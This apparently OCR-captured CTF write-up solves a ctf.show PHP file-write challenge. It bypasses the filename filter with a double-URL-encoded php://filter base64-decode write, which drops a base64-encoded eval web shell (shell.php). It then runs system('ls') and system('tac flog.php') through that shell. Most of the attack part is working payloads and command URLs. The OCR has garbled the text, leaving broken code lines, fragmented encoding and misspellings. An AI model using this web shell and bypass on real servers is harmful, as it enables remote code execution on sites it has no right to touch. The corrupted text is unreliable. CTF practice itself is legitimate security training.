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if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file str_replace("data", "???", $file);
$file str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die(' K55 7 ') ;?>".$content);

telse{
highlight_file(__FILE_ );
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2 filef& Apayload: php://filter/write=convert.base64-
decode/resource=shell.php

LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFl ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~

URL
https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/?file=php://filter/write=convert.base64-decode/resource=shell.php
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LOAD =~ SPLIT EXECUTE TEST ~ sqLl - XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ CUSTOM ~
URL encode

URL
https://b37b76fc-f794-45f4-82b7-2da2efadcbl.challenge.ctf.show/?file=php://filter/wri URLencode (all characters) :/resource=shell.php

URL decode
I Use POST method
URL decode (+ is space) Value
v b37b7

Base64 encode
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URL

https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/?

F1le=%25%37%30%25%36%38%25%37%30%25%33%6 1%25%32%66%2 5%32%66%2 5%36%36%2 5%36%39%2 5%36%63%2 5%37%34%2 5%36%3 5%2 5%37%32%2 5%32%66%2 5%37%37%2 5%37%32%2 5%36%39%2 5%37%34%25%36%35

%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%3 5%25%37%32%2 5%37%34%2 5%32%6 5%2 5%36%32%2 5%36%31%2 5%37%33%2 5%36%3 5%2 5%33%36%2 5%33%34%2 5%32%6 4%2 5%36%34%2 5%36%3 5%2 5%3

6%33%25 5%36%34%25%36%35%25%32%66%25%37%32%2 5%36%3 5%2 5%37%33%2 5%36%66%2 5%37%35%2 5%37%32%2 5%36%33%25%36%3 5%2 5%33%64%2 5%37%33%2 5%36%38%2 5%36%3 5%2 5%36%63%25%36%63%

25%32%65%25%37%30%25%36%38%25%37%30
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Body
content=<?php @eval($_GET['pass']);?>|

enctype

@@ Use POST method application/x-www-form-urlencoded

Body
content=PD9waHAgQGV2YWwoJF9HRVRbJ3 th3MnXSk7Pz4=|
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enctype

@@ Usc POST method application/x-www-form-u

Body
content=11PD9waHAgQGV2YWwoJF9HRVRbJ3Bhc3MnXSk7Pz4=

6.Excute/aiinl, EZ2Iflog.php

©16 6uflog.php index.php shell.php
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LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~

URL
https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/shell.php?pass=system('ls"');?>
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LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHIMN

URL
https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/shell.php?pass=system('tac flog.php');?>






